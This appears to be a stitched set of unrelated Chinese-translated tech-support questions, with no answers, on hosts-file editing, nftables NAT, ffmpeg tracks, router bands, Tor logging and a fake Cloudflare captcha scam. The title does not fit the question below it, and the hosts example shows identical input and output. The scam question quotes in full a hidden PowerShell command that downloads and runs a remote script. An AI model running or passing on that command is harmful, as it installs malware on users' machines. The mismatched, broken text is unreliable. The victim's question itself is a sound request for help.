我的任务栏左下角经常出现一个烦人的“热门搜索”。该如何移除它?
感觉这个问题之前就应该在这里回答过,但我的搜索还没有找到确切的案例。
我有一个文件(实际上是一个 hosts 文件),里面有一个标记行。我有一些脚本可以添加和删除标记行前面的行。
但存在删除过程会留下添加过程创建的空白行的风险。
所以我想要一种方法来删除文件中标志行之前的所有空白行。
感觉这应该是可能的sed
,但我发现的在线示例不包括这种情况(讽刺的是,它们包括相反的情况 - 在匹配行之前添加一个空白行)
有没有简单的方法可以做到这一点?
不一定非要使用sed
,任何其他标准文本处理工具也可以。
最好进行就地编辑,但如果确实有必要,可以复制到临时文件,然后再复制回来。
示例输入(无法发布精确数据)
10.8.7.6 static-host1
10.8.7.7 static-host2
10.8.8.5 static-host3
10.8.8.6 static-host4
# Start of dynamic section
10.9.9.8 dynamic-group1-host1
10.9.9.9 dynamic-group1-host1
10.9.8.7 dynamic-group2-host1
10.9.8.8 dynamic-group2-host2
# End of dynamic section
10.10.11.12 static-host5
10.10.11.13 static-host6
10.10.11.17 static-host7
10.10.11.18 static-host8
示例输出
10.8.7.6 static-host1
10.8.7.7 static-host2
10.8.8.5 static-host3
10.8.8.6 static-host4
# Start of dynamic section
10.9.9.8 dynamic-group1-host1
10.9.9.9 dynamic-group1-host1
10.9.8.7 dynamic-group2-host1
10.9.8.8 dynamic-group2-host2
# End of dynamic section
10.10.11.12 static-host5
10.10.11.13 static-host6
10.10.11.17 static-host7
10.10.11.18 static-host8
对于任何解决方案来说,假设要删除的空格之前的最后一行总是以相同的模式开头是合理的,通常是 RFC1918 地址(例如 10. 或 192.168.)
对于另一条评论,是的,空行对于可读性来说是必要的,这就是为什么我的脚本在添加的节之间添加了空行。删除节时,我可以删除“该节第一行之前的任何空行”,但这会引发同样的问题——删除与模式匹配的行之前的一个或多个空行。
(希望很明显)全面删除文件中的所有空行是不可接受的。
有骗子在 GitHub 上传播诈骗链接,指向一个伪造的 Cloudflare 验证码网页,该网页指示我按⊞ Win+R键,Ctrl+V键,然后点击Enter。我按照指示操作,但什么也没发生。
我很快就意识到这是一个骗局。我怎么知道我的电脑是否感染了该骗局的病毒?
它指示我粘贴的一行诈骗代码如下。下面有位用户评论建议将代码分成两行,以防止有人误用。
powershell
-WindowStyle Hidden -Command ([ScriptBlock]::Create((irm https://jaihind.edu.in/weatherdolphin/dollrandom))).Invoke(); Write-Host " Cloudflare. inc. Captcha-ID:1488 ";```
我正在考虑购买一台 Linux 笔记本电脑,但我以前只使用过 Mac,并且我有一个与此相关的安全问题。
对于 Mac,制造商(Apple)同时支持操作系统和硬件。因此,理论上,Apple 不仅会修补他们在 macOS 中发现的错误和漏洞,还会修补他们在 MacBook 实际硬件中发现的错误/漏洞,以及 macOS 与硬件交互过程中产生的任何错误/漏洞。
如果我买了一台笔记本电脑并在上面安装了 Linux,我大概可以指望我的 Linux 发行版的开发者会修补我的 Linux 操作系统中的 bug 和漏洞。但是,谁(如果有的话)会修补与我的笔记本电脑硬件相关的 bug 和漏洞呢?
我在 openSUSE Tumbleweed 上将 nftables 设置为默认防火墙,也是唯一的防火墙。iptables 和 Firewalld 已被标记为“禁忌”,永远不会重新安装。我还检查了两次,确保它们不在我的系统中。只有 nftables,其他都一样。
我的问题是过滤器内的输出/输入链inet
似乎不会影响 NAT 设备。nftables 也充当我的家庭网络的 NAT。
我有大约 8 台设备始终处于连接状态,因此进行了 NAT 处理。这些设备(全部)都无法通过我的output
和input
链,因为 和 链的限制非常严格。
我没有,也无法找到任何有关如何确保 NAT 设备通过其他表和链运行的信息。
有人能解释一下为什么 nftables 不通过其他表和链路由 NAT 流量吗?有人能提供一种方法,让 NAT 数据通过其他防火墙表发送吗?
这是我的 nftables.conf 文件:
#!/usr/sbin/nft -f
flush ruleset
table inet filter{
chain state{
ct state {established, related} accept;
ct state invalid drop;
}
chain input{
type filter hook input priority 0; policy drop;
# allowed icmp types
ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
# if related or invalid
jump state;
# allow loopback
iif "lo" accept;
# NTP (Network Time)
udp dport 123 accept;
tcp dport 123 accept;
}
chain output{
type filter hook output priority 0; policy drop;
# allowed icmp types
ip protocol icmp icmp type {destination-unreachable, router-solicitation, router-advertisement, time-exceeded, parameter-problem} accept;
# if related or invalid
jump state;
# allow loopback
iif "lo" accept;
# allow TCP ident
tcp dport 113 accept;
# allow dns & dnssec
tcp dport { 53, 853 } accept;
udp dport { 53, 853 } accept;
# allow http
tcp dport { 80, 443, 1443, 8443, 8080 } accept;
udp dport { 80, 443, 1443, 8443, 8080 } accept;
# allow ftp
tcp dport { 20, 21 } accept;
udp dport 69 accept;
# allow ssh
tcp dport 22 accept;
udp dport 22 accept;
# allow email
tcp dport { 25, 465, 587 } accept; #SMTP & SMTPS
tcp dport { 110, 995 } accept; #POP3 & POP3S
udp dport { 110, 995 } accept; #POP3 & POP3S
tcp dport { 143, 993 } accept; #IMAP & IMAPS
udp dport { 143, 993 } accept; #IMAP & IMAPS
tcp dport 691; #MS Exchange
# IPsec VPN
udp dport { 500, 4500, 1701 } accept;
esp spi 50 accept;
ah spi 51 accept;
# NTP (Network Time)
udp dport 123 accept;
tcp dport 123 accept;
}
chain IPS_input{
type filter hook input priority 10; policy drop;
queue num 0
}
chain IPS_output{
type filter hook output priority 10; policy drop;
queue num 0;
}
chain IPS_forward {
type filter hook forward priority 10; policy drop;
queue num 0;
}
}
table nat {
chain prerouting {
type nat hook prerouting priority -100;
ct state invalid drop;
}
chain postrouting {
type nat hook postrouting priority 100;
ct state invalid drop;
ip saddr 10.0.0.0/24 oif eno2 masquerade; # "eno2" is our external interface
}
}
我想使用 FFmpeg为一个已经包含意大利语、法语和德语的视频(称为)添加英语音频和字幕轨道(eng.mp3
和) 。关键是最终的视频能够支持在多种语言的音频和字幕轨道之间切换。eng.srt
3.mp4
总而言之,我想要:3.mp4 + eng.mp3 + eng.srt → 3plus1.mp4
我尝试过这个但是没有用::
ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt \
-map 0:v -map 0:a -map 1:a -map 2:s:0 \
-metadata:s:a:0 language=eng -metadata:s:s:0 language=eng \
-c:s:0 mov_text -shortest 3plus1.mp4
我可以使用 4 种语言(4.mp4
)从头开始制作视频,如下.mp3
所示.srt
(请注意,视频部分是即时生成的,仅为黑色背景;这使文件保持较小以进行测试,而视频不是这里的重点):
这有效:ita.mp3 + fre.mp3 + ger.mp3 + eng.mp3 + ita.srt + fre.srt + ger.srt + eng.srt → 4.mp4
ffmpeg -f lavfi -i "color=color=black:s=1280x720" \
-i ita.mp3 -i fre.mp3 -i ger.mp3 -i eng.mp3 \
-i ita.srt -i fre.srt -i ger.srt -i eng.srt \
-map 0:v -map 1:a:0 -map 2:a:0 -map 3:a:0 -map 4:a:0 \
-map 5:s:0 -map 6:s:0 -map 7:s:0 -map 8:s:0 \
-metadata:s:a:0 language=ita -metadata:s:a:1 language=fra -metadata:s:a:2 language=ger -metadata:s:a:3 language=eng \
-metadata:s:s:0 language=ita -metadata:s:s:1 language=fra -metadata:s:s:2 language=ger -metadata:s:s:3 language=eng \
-c:s:0 mov_text -c:s:1 mov_text -c:s:2 mov_text -c:s:3 mov_text \
-shortest 4.mp4
我不知道如何上传我用于测试的文件,但我发现一个名为 disroot 的网站看起来允许文件共享。
此链接是count.zip
我创建的包含所有用于测试的文件的档案。
编辑:@Alain1A45 提供的命令几乎有效:
ffmpeg -i 3.mp4 -i eng.mp3 -i eng.srt -map 0:v -map 0:a -map 1 -map 0:s -map 2 -c copy -c:s:3 mov_text -metadata:s:a:3 language=eng -metadata:s:s:3 language=eng -shortest 3plus1.mp4
我说“几乎可用”,是因为它确实添加了额外的音频(eng.mp3)和字幕(eng.srt),但英语音频在 Mac OS 的 QuickTime 播放器和 iPhone 版 Documents (by Readdle) 的视频播放器中都无法显示。由于我一直都在用这些播放器,所以我还在寻找解决方案。
我知道有英文音频,因为我可以用 ffmpeg 命令看到它,而且 VLC 播放器在 Mac OS 和 iOS 上都能播放。可惜的是,我发现 VLC 播放器用起来很不方便。
我目前有一台华为AX2S路由器。
这款路由器默认使用Wi-Fi 6、5G网络,但也支持Wi-Fi 5和2.4 GHz网络。
我有一部旧手机,既不支持 Wi-Fi 6,也不支持 5G。
然而,问题是我不知道如何启用 Wi-Fi 5和 2.4 GHz网络。我检查了路由器的配置,但没有找到明显的启用方法。
我在 Debian 上安装并运行了 Tor,但没有日志文件/var/log/tor/
。如何启用将日志写入日志文件的功能?
我尝试以 root 权限运行 tor,但是不起作用。
我是新来的,如果我的问题需要更正,请发表评论。